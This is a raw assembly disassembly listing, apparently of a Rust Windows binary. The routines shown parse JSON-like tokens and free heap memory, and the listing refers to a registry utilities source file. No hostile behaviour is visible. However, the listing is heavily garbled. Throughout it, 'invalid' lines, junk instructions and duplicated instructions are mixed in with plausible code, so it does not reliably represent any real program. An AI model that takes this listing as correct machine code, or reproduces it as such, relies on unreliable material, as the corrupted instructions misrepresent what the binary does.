test cl, 1
jne 0x14002b63f
movzx ecx, byte [rsp + 0xc9]
jmp 0x14002b74c
mov byte [rsp + 0x108], 0
jmp 0x14002b660
mov rdx, qword [rsp + 0xa8]
mov r9d, 1
mov rcx, r14
mov r8, r15
call fcn.140082480
cmp qword [rsp + 0x60], 0
je case.default.0x14002b699
mov rbx, qword [rsp + 0x68]
mov eax, ebx
and eax, 3
lea rcx, [0x1400ef59c]
lea ecx, [0x1400ef59c]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
cmp byte [rbx + 0x10], 0x23
je 0x14002b660
jmp case.0x14002b000.2
sbb bl, bl
or al, 0
xor edx, edx
mov r8, r13
call rdi
dec rbx
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call rdi
jmp 0x14002b660
dec dword [rax - 0x7d]
jl 0x14002b725
cmp qword [rsp + 0x68], 0
je 0x14002bc92
push 0xffffffff89840f00
add eax, 0xb60f0000
mov word [rax + rcx], fs
add dword [rax], eax
add byte [rax - 0x75], cl
test byte [rax + rdi*4], ah
add byte [rax], al
movzx ecx, byte [rsp + 0x108]
mov rax, qword [rsp + 0xb8]
add byte [rax - 1], cl
invalid
cmp cl, 0xa
jne 0x14002b733
add byte [rax - 1], cl
rol byte [rax + 0x12750af9], 0x48
add dword [rsp + 0xc0], eax
invalid
add qword [rsp + 0xc0], rax
rol byte [rax], 0
add byte [rax - 1], cl
test byte [rax + rsi*4], ah
add byte [rax], al
add byte [rcx], dh
ror byte [rax - 0x77], 0x84
and al, 0xb8
inc qword [rsp + 0xb0]
xor eax, eax
mov qword [rsp + 0xb8], rax
mov byte [rsp + 0xc8], 1
test byte [rax + rcx*8], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add dh, al
test byte [rax + rcx*8], ah
add byte [rax], al
add byte [rcx], al
mov byte [rsp + 0xc9], cl
mov al, 1
movzx edx, cl
cmp dl, 0x2c
ja case.0x140075b85.221
movabs r8, 0x100002600
add byte [rax], al
add dword [rax], eax
add byte [rax], al
bt r8, rdx
jae 0x14002b77e
mov byte [rsp + 0xc8], 0
mov cl, 1
xor eax, eax
test cl, 1
jne 0x14002b63f
jmp 0x14002b632
cmp rdx, 0x2c
je 0x14002b80e
cmp edx, 0x5d
je 0x14002b79e
cmp edx, 0x7d
jne 0x14002b7ff
cmp byte [rsp + 0x100], 0x7b
je 0x14002b7a8
add byte [rbx + 0x74], bh
or al, 0xeb
invalid
jmp 0x14002b7ff
cmp byte [rsp + 0x100], 0x5b
jne 0x14002b7ff
add byte [rbx + 0x75], bl
push rdi
mov byte [rsp + 0xc8], 0
mov rax, qword [rsp + 0xa0]
test rax, rax
je 0x14002b9e1
lea rcx, [rax - 1]
mov qword [rsp + 0xa0], rcx
mov rcx, qword [rsp + 0x90]
add byte [rdi], cl
mov dh, 0x44
add edi, edi
dec dword [rax - 0x77]
mov word [rax + riz*4], fs
add byte [rax], al
add byte [rax - 0x75], cl
mov word [rax + rdx*4], fs
add byte [rax], al
add byte [rdi], cl
mov dh, 0x44
add edi, edi
mov byte [rsp + 0x100], al
mov al, 1
mov dword [rsp + 0x12c], eax
test byte [rsp + rbp], ah
add dword [rax], eax
add byte [rax], al
test byte [rsp + rbp], ah
add dword [rax], eax
add byte [rax], al
xor eax, eax
test al, al
sete cl
test cl, 1
invalid
test byte [rax], bh
invalid
add byte [rax], al
xor eax, eax
test al, al
sete cl
test cl, 1
je 0x14002b632
invalid
jmp 0x14002b63f
test byte [rsp + 0x12c], 1
je 0x14002b824
add byte [rax], al
add dword [rbx + rbx - 0x17], esi
invalid
jmp 0x14002be5b
mov cl, 0x2c
test byte [rsp + 0x12c], 1
add dword [rax], eax
add byte [rcx], al
je 0x14002b824
mov byte [rsp + 0xc8], 0
xor eax, eax
mov r13b, 1
cmp byte [rsp + 0x100], 0x7b
mov esp, 0x10024
add byte [rbx + 0xf], bh
invalid
invalid
cld
invalid
invalid
mov esp, 0x10024
add byte [rbx + 0xf], bh
test dword [0xc502b832], edx
sal byte [rbp + 0x4f], 0xeb
sbb al, 0xe8
xor dh, dh
invalid
inc dword [rax + rax*8 + 0x1ceb4f75]
test al, al
jne 0x14002b888
jmp 0x14002b857
call fcn.1400aae70
mov rdx, qword [rsp + 0xa0]
test r13b, 1
jne 0x14002b525
invalid
invalid
movabs al, byte [0xf01c5f641000000]
test ebx, edx
cld
invalid
jmp 0x14002b53b
mov rcx, r14
lea rdx, [rsp + 0xa8]
add byte [rax], al
add byte [rax], al
call section..text
movzx eax, byte [rsp + 0x60]
test eax, eax
jne 0x14002bd15
movzx ecx, byte [rsp + 0x61]
mov byte [rsp + 0xc8], 1
mov byte [rsp + 0xc9], cl
cmp cl, 0x22
ja 0x14002bd47
movzx eax, cl
movabs rcx, 0x100002600
bt rcx, rax
invalid
invalid
jae 0x14002b8ae
movabs dword [0xc82484c60a73c1], eax
add byte [rax], al
add bl, ch
test eax, 0x22f88348
clc
invalid
mov byte [rsp + 0xc8], 0
jmp 0x14002b857
cmp rax, 0x22
clc
and cl, byte [rdi]
test dword [rdi - 0x39fffffc], ecx
test byte [rax + rcx*8], ah
add byte [rax], al
add byte [rax], al
jne 0x14002bd47
mov byte [rsp + 0xc8], 0
lea rcx, [rsp + 0xa8]
call fcn.140016720
test rax, rax
jne 0x14002bafc
cmp byte [rsp + 0xc8], 0
je 0x14002b8ea
movzx eax, byte [rsp + 0xc9]
jmp 0x14002b91b
mov rcx, r14
lea rdx, [rsp + 0xa8]
call section..text
movzx eax, byte [rsp + 0x60]
test eax, eax
jne 0x14002bd15
movzx eax, byte [rsp + 0x61]
mov byte [rsp + 0xc8], 1
mov byte [rsp + 0xc9], al
cmp al, 0x3a
ja 0x14002be89
movzx eax, al
movabs rcx, 0x100002600
bt rcx, rax
jae 0x14002b940
mov byte [rsp + 0xc8], 0
jmp 0x14002b8ea
cmp rax, 0x3a
jne 0x14002be89
mov byte [rsp + 0xc8], 0
and al, 0xc8
add byte [rax], al
add byte [rax], al
xor eax, eax
jmp 0x14002b44a
cmp byte [rsp + 0x47], 2
jne 0x14002c048
lea rsi, [rsp + 0x90]
mov rcx, rsi
nop
add byte [rax], al
add byte [rax - 0x77], cl
int1
call fcn.1400057e0
test rax, rax
jne 0x14002bafc
mov rcx, r14
mov rdx, rsi
call fcn.140017530
cmp byte [rsp + 0x60], 0
jne 0x14002bce9
movzx eax, byte [rsp + 0x61]
mov byte [rsp + 0x47], al
jmp 0x14002b9e1
cmp byte [rsp + 0x5f], 2
jne 0x14002c037
lea rsi, [rsp + 0x90]
mov rcx, rsi
call fcn.1400057e0
dec dword [rax - 0x7b]
ror byte [rdi], 0x85
cmp al, byte [rcx]
add byte [rax], al
dec dword [rax - 0x7b]
ror byte [rdi], 0x85
cmp al, byte [rcx]
add byte [rax], al
mov rcx, r14
mov rdx, rsi
call fcn.140017530
cmp byte [rsp + 0x60], 0
jne 0x14002bce9
movzx eax, byte [rsp + 0x61]
mov byte [rsp + 0x5f], al
mov al, 1
mov qword [rsp + 0x100], rax
movzx eax, byte [rsp + 0xc8]
test al, al
jne 0x14002afaa
cmc
invalid
invalid
cmc
invalid
jmp 0x14002b0ca
dec byte [rsp + 0xd0]
mov rbp, qword [rsp + 0xf8]
mov ebp, dword [rsp + 0xf8]
mov ebp, dword [rsp + 0xf8]
lea rsi, [rsp + 0xa8]
je 0x14002bb81
test byte [rcx + rax], ah
invalid
add byte [rax], al
add byte [rdi], cl
test byte [rcx + rax], ah
add dh, al
test byte [rax + rcx*8], ah
add byte [rax], al
add byte [rax], al
invalid
mov byte [rsp + 0xc8], 0
add byte [rax - 0x77], cl
pushfq
and al, 8
add dword [rax], eax
add dh, al
test byte [rax + rdx], ah
add dword [rax], eax
add byte [rcx], al
mov qword [rsp + 0x108], rbx
mov byte [rsp + 0x110], 1
lea rcx, [rsp + 0x60]
lea rdx, [rsp + 0x108]
call fcn.1400142f0
cmp byte [rsp + 0x60], 0
movzx edi, byte [rsp + 0x61]
mov bpl, 2
jne 0x14002bacd
cmp dil, 2
je 0x14002bbc8
lea rcx, [rsp + 0x60]
lea rdx, [rsp + 0x108]
call fcn.1400142f0
cmp byte [rsp + 0x60], 0
and al, 0x60
add byte [rbp + 0x54], dh
invalid
and al, 0x60
add byte [rbp + 0x54], dh
movzx r12d, byte [rsp + 0x61]
cmp r12b, 2
je 0x14002bc8b
lea rcx, [rsp + 0x60]
lea rdx, [rsp + 0x108]
call fcn.1400142f0
cmp byte [rsp + 0x60], 0
jne 0x14002bacd
movzx ebx, byte [rsp + 0x61]
cmp bl, 2
je 0x14002bcf3
lea rcx, [rsp + 0x60]
lea rdx, [rsp + 0x108]
call fcn.1400142f0
cmp byte [rsp + 0x60], 0
and al, 0x60
add byte [rdi], cl
test byte [rdx], al
add dword [rax], eax
invalid
invalid
and al, 0x60
add byte [rdi], cl
test byte [rdx], al
add dword [rax], eax
add byte [rax - 0x75], cl
pop rsp
and al, 0x68
mov rbx, qword [rsp + 0x68]
inc byte [rsp + 0xd0]
cmp byte [rsp + 0xc8], 0
je 0x14002c464
or dword [rax], eax
invalid
and al, 0xd0
add byte [rax], al
add byte [rax + 0xc824bc], al
add byte [rax], al
add byte [rdi], cl
test byte [rbp + 9], bh
or dword [rax], eax
invalid
or dword [rax], eax
add byte [rdi], cl
mov dh, 0x84
and al, 0xc9
add byte [rax], al
add cl, ch
invalid
movzx eax, byte [rsp + 0xc9]
jmp 0x14002c48e
mov rcx, rbx
call fcn.1400ad9e0
mov rbx, rax
lea rsi, [rsp + 0xa8]
movabs r15, 0x100002600
mov rax, qword [rsp + 0x50]
mov r8, qword [rsp + 0x48]
mov dil, 2
test r8, r8
je 0x14002bb37
test rax, rax
je 0x14002bb37
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
inc byte [rsp + 0xd0]
cmp byte [rsp + 0xc8], 0
je 0x14002c846
movzx eax, byte [rsp + 0xc9]
jmp 0x14002c870
mov qword [rsp + 0x60], 5
mov rdx, qword [rsp + 0xb0]
mov r8, qword [rsp + 0xb8]
lea rcx, [rsp + 0x60]
call fcn.1400ad960
jmp 0x14002ae83
mov qword [rsp + 0x60], 0x18
mov rdx, qword [rsp + 0xb0]
lea rcx, [rsp + 0x60]
call fcn.1400ad960
mov rdi, rax
jmp 0x14002ae8e
lea r8, [0x1400b2378]
lea rcx, [rsp + 0x90]
lea rdx, [rsp + 0xf7]
call fcn.1400a7d80
mov rbx, rax
jmp 0x14002c2c0
xor ecx, ecx
jmp 0x14002bcf8
mov byte [rsp + 0x47], bl
movzx esi, byte [rsp + 0x61]
cmp sil, 2
je 0x14002bd6a
mov rbx, qword [rsp + 0x108]
lea r14, [rbx + 0x18]
cmp byte [rbx + 0x38], 0
je 0x14002c2f0
movzx eax, byte [rbx + 0x39]
jmp 0x14002c316
cmp byte [rsp + 0x47], 2
je 0x14002bda1
cmp byte [rsp + 0x5f], 2
je 0x14002bdaa
cmp byte [rsp + 0x5e], 2
je 0x14002bdb8
cmp byte [rsp + 0x8f], 2
je 0x14002bdc6
mov rbx, qword [rsp + 0x48]
test rbx, rbx
je 0x14002bde7
and byte [rsp + 0x47], 1
and byte [rsp + 0x5f], 1
and byte [rsp + 0x5e], 1
movzx edi, byte [rsp + 0x8f]
and dil, 1
mov rbp, qword [rsp + 0xf8]
lea rsi, [rsp + 0xa8]
movabs r15, 0x100002600
mov r12, qword [rsp + 0x50]
jmp 0x14002bb37
mov qword [rsp + 0x60], 5
jmp 0x14002bd82
mov ecx, 1
jmp 0x14002bcf8
mov eax, 2
cmp byte [rsp + 0x100], 0x5b
je 0x14002bcb7
movzx eax, byte [rsp + 0x100]
cmp eax, 0x7b
jne 0x14002c28c
mov eax, 3
mov qword [rsp + 0x60], rax
mov rdx, qword [rsp + 0xb0]
mov r8, qword [rsp + 0xb8]
lea rcx, [rsp + 0x60]
call fcn.1400ad960
jmp 0x14002bdd7
mov qword [rsp + 0x60], 3
jmp 0x14002bd82
mov rbx, qword [rsp + 0x68]
jmp 0x14002baff
mov ecx, 2
call fcn.1400a8a00
mov rbx, rax
jmp 0x14002bad2
cmp eax, 2
jne 0x14002bd25
mov qword [rsp + 0x60], 5
jmp 0x14002bcbc
cmp eax, 2
jne 0x14002bd25
mov qword [rsp + 0x60], 3
jmp 0x14002bcbc
mov rcx, qword [rsp + 0x68]
call fcn.1400ad9e0
jmp 0x14002bdd7
movzx eax, al
cmp eax, 0x7d
jne 0x14002bd47
mov qword [rsp + 0x60], 0x15
jmp 0x14002bd82
mov qword [rsp + 0x60], 0x11
jmp 0x14002bd82
mov rbx, rax
mov dil, 2
jmp 0x14002bd65
mov dil, 2
mov r12, qword [rsp + 0x50]
mov rbx, r12
jmp 0x14002be06
mov ecx, 3
call fcn.1400a8a00
jmp 0x14002c2e0
mov qword [rsp + 0x60], 8
mov rdx, qword [rsp + 0xb0]
mov r8, qword [rsp + 0xb8]
lea rcx, [rsp + 0x60]
call fcn.1400ad960
jmp 0x14002bafc
lea rcx, [0x1400bb668]
jmp 0x14002bdbf
lea rcx, [0x1400bb66f]
mov edx, 9
jmp 0x14002bdd2
lea rcx, [0x1400bb678]
mov edx, 7
jmp 0x14002bdd2
lea rcx, [0x1400bb67f]
mov edx, 4
call fcn.1400a8990
mov rbx, rax
mov rbp, qword [rsp + 0xf8]
jmp 0x14002baff
lea rcx, [0x1400bb683]
mov edx, 6
call fcn.1400a8990
mov rbx, rax
mov dil, 2
mov rbp, qword [rsp + 0xf8]
lea rsi, [rsp + 0xa8]
movabs r15, 0x100002600
jmp 0x14002bb37
mov ecx, 8
mov edx, 8
call fcn.1400a9bd0
ud2
mov eax, 7
cmp byte [rsp + 0x100], 0x5b
je 0x14002bcb7
movzx eax, byte [rsp + 0x100]
cmp eax, 0x7b
jne 0x14002c2a6
mov qword [rsp + 0x60], 6
jmp 0x14002bd82
mov al, 2
jmp 0x14002c10c
mov qword [rsp + 0x60], 0xa
jmp 0x14002bd82
lea rcx, [0x1400bb66f]
mov edx, 9
jmp 0x14002c15c
lea rcx, [0x1400bb668]
jmp 0x14002c157
lea rcx, [0x1400bb683]
mov edx, 6
call fcn.1400a8aa0
mov rbx, rax
cmp qword [rsp + 0x50], 0
je 0x14002c084
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rsp + 0x48]
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbp, qword [rsp + 0xf8]
lea rsi, [rsp + 0xa8]
movabs r15, 0x100002600
mov dil, 2
jmp 0x14002bb37
lea rcx, [0x1400bb67f]
mov edx, 4
jmp 0x14002c15c
mov eax, dword [r13]
mov ecx, dword [r13 + 3]
mov dword [rsp + 0x10b], ecx
mov dword [rsp + 0x108], eax
xor eax, eax
mov qword [rsp + 0x90], rdi
mov qword [rsp + 0x98], r15
mov qword [rsp + 0xa0], rbx
mov byte [rsp + 0xa8], al
mov eax, dword [rsp + 0x108]
mov ecx, dword [rsp + 0x10b]
mov dword [rsp + 0xa9], eax
mov dword [rsp + 0xac], ecx
lea rax, str.srcutilities_registry.rs
jmp 0x14002c1c5
lea rcx, [0x1400bb678]
mov edx, 7
call fcn.1400a8aa0
jmp 0x14002bafc
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1400b1270]
lea r8, [rsp + 0x90]
mov edx, 0x2b
call fcn.1400aa200
ud2
lea rcx, str.internal_error:_entered_unreachable_code_rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_std_src_threadmod.rs
lea r8, [0x1400b0e40]
mov edx, 0x28
call fcn.1400a9e70
ud2
mov rdx, qword [rsp + 0xb0]
mov r8, qword [rsp + 0xb8]
mov rcx, rbx
call fcn.1400a8460
mov rdi, rax
jmp 0x14002ae8e
mov rbx, rax
lea rsi, [rsp + 0xa8]
jmp 0x14002bad2
lea rcx, [rsp + 0x60]
mov rdx, r14
call section..text
movzx eax, byte [rsp + 0x60]
test eax, eax
jne 0x14002c3cf
movzx eax, byte [rsp + 0x61]
mov byte [rbx + 0x38], 1
mov byte [rbx + 0x39], al
movzx ecx, al
cmp cl, 0x2c
ja 0x14002c37c
bt r15, rcx
jae 0x14002c32a
mov byte [rbx + 0x38], 0
jmp 0x14002c2f0
cmp rcx, 0x2c
jne 0x14002c37c
mov r13, r15
cmp byte [rsp + 0x110], 0
jne 0x14002c39a
mov byte [rbx + 0x38], 0
lea r15, [rsp + 0x60]
mov rcx, r15
mov rdx, r14
call section..text
movzx eax, byte [rsp + 0x60]
test eax, eax
jne 0x14002c403
movzx eax, byte [rsp + 0x61]
mov byte [rbx + 0x38], 1
mov byte [rbx + 0x39], al
cmp rax, 0x20
ja 0x14002c396
bt r13, rax
jae 0x14002c396
mov byte [rbx + 0x38], 0
jmp 0x14002c346
mov r13, r15
cmp ecx, 0x5d
je 0x14002c42a
cmp byte [rsp + 0x110], 0
je 0x14002c436
cmp al, 0x5d
je 0x14002c413
lea rcx, [rsp + 0x60]
mov rdx, rbx
call fcn.1400172a0
mov rbx, qword [rsp + 0x60]
test rbx, rbx
je 0x14002c3c5
movups xmm0, xmmword [rsp + 0x68]
movaps xmmword [rsp + 0x130], xmm0
mov ebp, esi
jmp 0x14002c454
mov rbx, qword [rsp + 0x68]
jmp 0x14002c454
cmp eax, 2
jne 0x14002c3f4
mov qword [rsp + 0x60], 2
mov rdx, qword [rbx + 0x20]
mov r8, qword [rbx + 0x28]
lea rcx, [rsp + 0x60]
call fcn.1400ad960
jmp 0x14002c2e0
mov rcx, qword [rsp + 0x68]
call fcn.1400ad9e0
jmp 0x14002c2e0
cmp eax, 2
jne 0x14002c41e
mov qword [rsp + 0x60], 5
jmp 0x14002c43f
mov qword [rsp + 0x60], 0x15
jmp 0x14002c43f
mov rcx, qword [rsp + 0x68]
call fcn.1400ad9e0
jmp 0x14002c451
mov ecx, 4
call fcn.1400a8a00
jmp 0x14002c451
mov qword [rsp + 0x60], 7
mov rdx, qword [rbx + 0x20]
mov r8, qword [rbx + 0x28]
lea rcx, [rsp + 0x60]
call fcn.1400ad960
mov rbx, rax
lea rsi, [rsp + 0xa8]
mov r15, r13
jmp 0x14002bad2
lea rcx, [rsp + 0x60]
mov rdx, rsi
call section..text
movzx eax, byte [rsp + 0x60]
test eax, eax
jne 0x14002c4a9
movzx eax, byte [rsp + 0x61]
mov byte [rsp + 0xc8], 1
mov byte [rsp + 0xc9], al
movzx eax, al
cmp al, 0x2c
ja 0x14002c54f
bt r15, rax
jae 0x14002c4e8
mov byte [rsp + 0xc8], 0
jmp 0x14002c464
cmp eax, 2
jne 0x14002c4d9
mov qword [rsp + 0x60], 2
mov rdx, qword [rsp + 0xb0]
mov r8, qword [rsp + 0xb8]
lea rcx, [rsp + 0x60]
call fcn.1400ad960
mov r14, rax
jmp 0x14002c563
mov rcx, qword [rsp + 0x68]
call fcn.1400ad9e0
mov r14, rax
jmp 0x14002c563
cmp rax, 0x2c
jne 0x14002c54f
mov r13, r15
mov byte [rsp + 0xc8], 0
lea r14, [rsp + 0x60]
mov rcx, r14
lea rdx, [rsp + 0xa8]
call section..text
movzx eax, byte [rsp + 0x60]
test eax, eax
jne 0x14002c613
movzx r15d, byte [rsp + 0x61]
mov byte [rsp + 0xc8], 1
mov byte [rsp + 0xc9], r15b
cmp r15, 0x20
ja 0x14002c697
bt r13, r15
jae 0x14002c697
mov byte [rsp + 0xc8], 0
jmp 0x14002c4fe
cmp eax, 0x5d
jne 0x14002c605
mov byte [rsp + 0xc8], 0
xor r14d, r14d
mov qword [rsp + 0x60], rbx
movaps xmm0, xmmword [rsp + 0x130]
movups xmmword [rsp + 0x68], xmm0
mov byte [rsp + 0x78], dil
mov byte [rsp + 0x79], r12b
movzx eax, byte [rsp + 0x47]
mov byte [rsp + 0x7a], al
mov byte [rsp + 0x7b], bpl
mov qword [rsp + 0x80], r14
cmp bpl, 2
jne 0x14002c5bd
mov dil, 2
test r14, r14
mov rbp, qword [rsp + 0xf8]
je 0x14002c5b8
lea rcx, [rsp + 0x80]
call fcn.14000b4d0
jmp 0x14002c6f5
mov edi, ebp
mov r12, qword [rsp + 0x68]
test r14, r14
mov rbp, qword [rsp + 0xf8]
je 0x14002c5f0
mov dil, 2
test r12, r12
je 0x14002c5eb
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14002c6e8
mov eax, dword [rsp + 0x77]
mov dword [rsp + 0x15f], eax
mov rax, qword [rsp + 0x70]
jmp 0x14002c6ed
mov qword [rsp + 0x60], 0x16
jmp 0x14002c4b7
cmp eax, 2
jne 0x14002c62f
mov byte [rsp + 0x10a], r15b
mov word [rsp + 0x108], 0
mov sil, 1
jmp 0x14002c64b
mov rcx, qword [rsp + 0x68]
call fcn.1400ad9e0
mov qword [rsp + 0x110], rax
mov byte [rsp + 0x108], 1
xor esi, esi
mov qword [rsp + 0x60], 0x16
mov rdx, qword [rsp + 0xb0]
mov r8, qword [rsp + 0xb8]
lea rcx, [rsp + 0x60]
call fcn.1400ad960
mov r14, rax
test sil, sil
lea rsi, [rsp + 0xa8]
mov r15, r13
jne 0x14002c563
lea rcx, [rsp + 0x110]
call fcn.14000b4d0
jmp 0x14002c563
mov byte [rsp + 0x10a], r15b
mov word [rsp + 0x108], 0x100
mov sil, 1
cmp r15b, 0x5d
jne 0x14002c64b
mov qword [rsp + 0x60], 0x15
mov rdx, qword [rsp + 0xb0]
mov r8, qword [rsp + 0xb8]
lea rcx, [rsp + 0x60]
call fcn.1400ad960
mov r14, rax
lea rsi, [rsp + 0xa8]
mov r15, r13
jmp 0x14002c563
mov rbx, r14
jmp 0x14002c6f5
mov qword [rsp + 0x158], rax
cmp dil, 2
je 0x14002c2c0
mov eax, dword [rsp + 0x15f]
mov dword [rsp + 0x187], eax
mov rax, qword [rsp + 0x158]
mov qword [rsp + 0x180], rax
cmp byte [rsp + 0xc8], 0
je 0x14002c731
movzx eax, byte [rsp + 0xc9]
jmp 0x14002c75b
lea rcx, [rsp + 0x60]
mov rdx, rsi
call section..text
movzx eax, byte [rsp + 0x60]
test eax, eax
jne 0x14002c77a
movzx eax, byte [rsp + 0x61]
mov byte [rsp + 0xc8], 1
mov byte [rsp + 0xc9], al
cmp al, 0x20
ja 0x14002c800
movzx eax, al
bt r15, rax
jae 0x14002c800
mov byte [rsp + 0xc8], 0
jmp 0x14002c731
cmp eax, 2
jne 0x14002c7f4
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0x170], rax
mov eax, dword [rsp + 0x187]
mov dword [rsp + 0x177], eax
mov rcx, qword [rsp + 0xa8]
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp qword [rsp + 0x98], 0
je 0x14002c7cd
mov r8, qword [rsp + 0x90]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov eax, dword [rsp + 0x177]
mov dword [rbp + 0x17], eax
mov rax, qword [rsp + 0x170]
mov qword [rbp + 0x10], rax
mov qword [rbp], rbx
mov qword [rbp + 8], r12
mov byte [rbp + 0x1b], dil
jmp 0x14002af17
mov rcx, qword [rsp + 0x68]
call fcn.1400ad9e0
jmp 0x14002c823
mov qword [rsp + 0x60], 0x16
mov rdx, qword [rsp + 0xb0]
mov r8, qword [rsp + 0xb8]
lea rcx, [rsp + 0x60]
call fcn.1400ad960
mov rdi, rax
test r12, r12
je 0x14002ae8e
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14002ae8e
lea rcx, [rsp + 0x60]
mov rdx, rsi
call section..text
movzx eax, byte [rsp + 0x60]
test eax, eax
jne 0x14002c887
movzx eax, byte [rsp + 0x61]
mov byte [rsp + 0xc8], 1
mov byte [rsp + 0xc9], al
movzx eax, al
cmp al, 0x2c
ja 0x14002c8d4
bt r15, rax
jae 0x14002c8c3
mov byte [rsp + 0xc8], 0
jmp 0x14002c846
cmp eax, 2
jne 0x14002c8b4
mov qword [rsp + 0x60], 3
mov rdx, qword [rsp + 0xb0]
mov r8, qword [rsp + 0xb8]
lea rcx, [rsp + 0x60]
call fcn.1400ad960
mov r14, rax
jmp 0x14002c8e8
mov rcx, qword [rsp + 0x68]
call fcn.1400ad9e0
mov r14, rax
jmp 0x14002c8e8
cmp rax, 0x2c
jne 0x14002c8d4
mov qword [rsp + 0x60], 0x15
jmp 0x14002c895
cmp eax, 0x7d
jne 0x14002c98a
mov byte [rsp + 0xc8], 0
xor r14d, r14d
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], r12
mov rax, qword [rsp + 0x190]
mov qword [rsp + 0x70], rax
movzx eax, byte [rsp + 0x47]
mov byte [rsp + 0x78], al
movzx eax, byte [rsp + 0x5f]
mov byte [rsp + 0x79], al
movzx eax, byte [rsp + 0x5e]
mov byte [rsp + 0x7a], al
mov byte [rsp + 0x7b], dil
mov qword [rsp + 0x80], r14
cmp dil, 2
jne 0x14002c94b
mov dil, 2
test r14, r14
je 0x14002c6f5
lea rcx, [rsp + 0x80]
call fcn.14000b4d0
jmp 0x14002c6f5
test r14, r14
je 0x14002c973
mov dil, 2
test r12, r12
je 0x14002c6e8
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14002c6e8
lea rax, [rsp + 0x70]
mov ecx, dword [rax + 7]
mov dword [rsp + 0x15f], ecx
mov rax, qword [rax]
jmp 0x14002c6ed
mov qword [rsp + 0x60], 0x16
jmp 0x14002c895
mov r15, qword [rbp + 0x140]
mov r14, qword [rbp + 0x130]
mov byte [r14 + r15 + 2], 0xbd
mov word [r14 + r15], 0xbfef
add r15, 3
invalid
add ecx, dword [rcx + rcx*4 - 0x43]
add dword [rax], eax
add byte [rax - 0x73], cl
lea ecx, [rax]
mov qword [rbp + 0x140], r15
mov dword [rbp + 0x140], edi
lea rcx, [rbp + 0x108]
mov rdx, r13
add dword [rax], eax
add byte [rcx + rcx*4 - 0x16], cl
call fcn.140045840
mov rdi, qword [rbp + 0x108]
test rdi, rdi
je 0x14002f04e
dec dword [rdi]
test byte [rcx + 0x48000000], cl
mov ebx, dword [rbp + 0x110]
mov rbx, qword [rbp + 0x110]
add byte [rax], al
mov r12, qword [rbp + 0x120]
mov rax, qword [rbp + 0x138]
sub rax, r15
cmp rax, rbx
jae 0x14002f002
lea rcx, [rbp + 0x130]
mov rdx, r15
mov edx, edi
add dword [rax], eax
add byte [rcx + rcx*4 - 6], cl
mov edx, edi
mov edx, edi
mov r8, rbx
call fcn.1400a9bf0
mov r14, qword [rbp + 0x130]
mov ch, 0x30
add dword [rax], eax
add byte [rax], al
mov ch, 0x30
add dword [rax], eax
add byte [rax], al
invalid
invalid
invalid
mov r15, qword [rbp + 0x140]
mov edi, dword [rbp + 0x140]
add dword [rax], eax
add byte [rbx - 0x73], cl
or al, 0x3e
lea rcx, [r14 + r15]
mov rdx, rdi
mov r8, rbx
mov eax, ebx
mov eax, ebx
call sub.VCRUNTIME140.dll_memcpy
add r15, rbx
mov qword [rbp + 0x140], r15
mov dword [rbp + 0x140], edi
add byte [rcx + 1], cl
fisttp word [rcx + rcx*4 - 0x43]
invalid
invalid
add dword [rax], eax
add byte [rbp - 0x7b], cl
in al, 0x74
xchg byte [rax - 0x75], cl
test dword [rax], edi
add dword [rax], eax
test r12, r12
je 0x14002efa6
mov rax, qword [rbp + 0x138]
sub rax, r15
add byte [rcx + rbp - 8], cl
cmp rax, 2
clc
add cl, byte [rdi]
invalid
xchg dword [rbx - 1], edx
invalid
invalid
ja 0x14002ef87
mov r8d, 3
lea rcx, [rbp + 0x130]
mov rdx, r15
call fcn.1400a9bf0
invalid
add cl, ch
jmp case.0x140075b85.269
xor bh, bh
invalid
mov r14, qword [rbp + 0x130]
mov r12, qword [rbp + 0x138]
mov esp, dword [rbp + 0x138]
mov esp, dword [rbp + 0x138]
test r14, r14
mov rdi, r14
cmove rdi, r12
test r15, r15
je 0x14002f0bb
js 0x14002f194
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
test rcx, rcx
mov dh, 5
movabs byte [0xca1790d8b48000c], al
add byte [rax - 0x7b], cl
leave
jne 0x14002f099
call qword [sym.imp.kernel32.dll_GetProcessHeap]
adc eax, 0x81366
test rax, rax
je 0x14002f0ac
mov rcx, rax
mov qword [0x1400f91f8], rax
pop rdi
invalid
or al, 0
invalid
pop rdi
movabs eax, dword [0xfff8894dd231000c]
add byte [rcx], dh
ror byte [rbp - 0x77], cl
clc
call qword [sym.imp.kernel32.dll_HeapAlloc]
add byte [rcx], dh
ror byte [rbp - 0x77], cl
clc
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
invalid
jne 0x14002f0c0
sal byte [rbp + 0x14], 0xb9
add dword [rax], eax
add byte [rax], al
mov ecx, 1
mov rdx, r15
call fcn.1400a9bd0
stosd dword [rdi], eax
invalid
add byte [rdi], cl
invalid
stosd dword [rdi], eax
invalid
mov ebx, 1
mov rcx, rbx
mov rdx, rdi
invalid
cli
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsi], rbx
mov qword [rsi + 8], r15
mov qword [rsi + 0x10], r15
test r14, r14
mov rbx, qword [rbp + 0xf8]
mov r15, qword [rbp + 0x100]
je 0x14002f103
test r12, r12
je 0x14002f103
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
movabs eax, dword [0xfff0894dd231000c]
adc eax, 0x81305
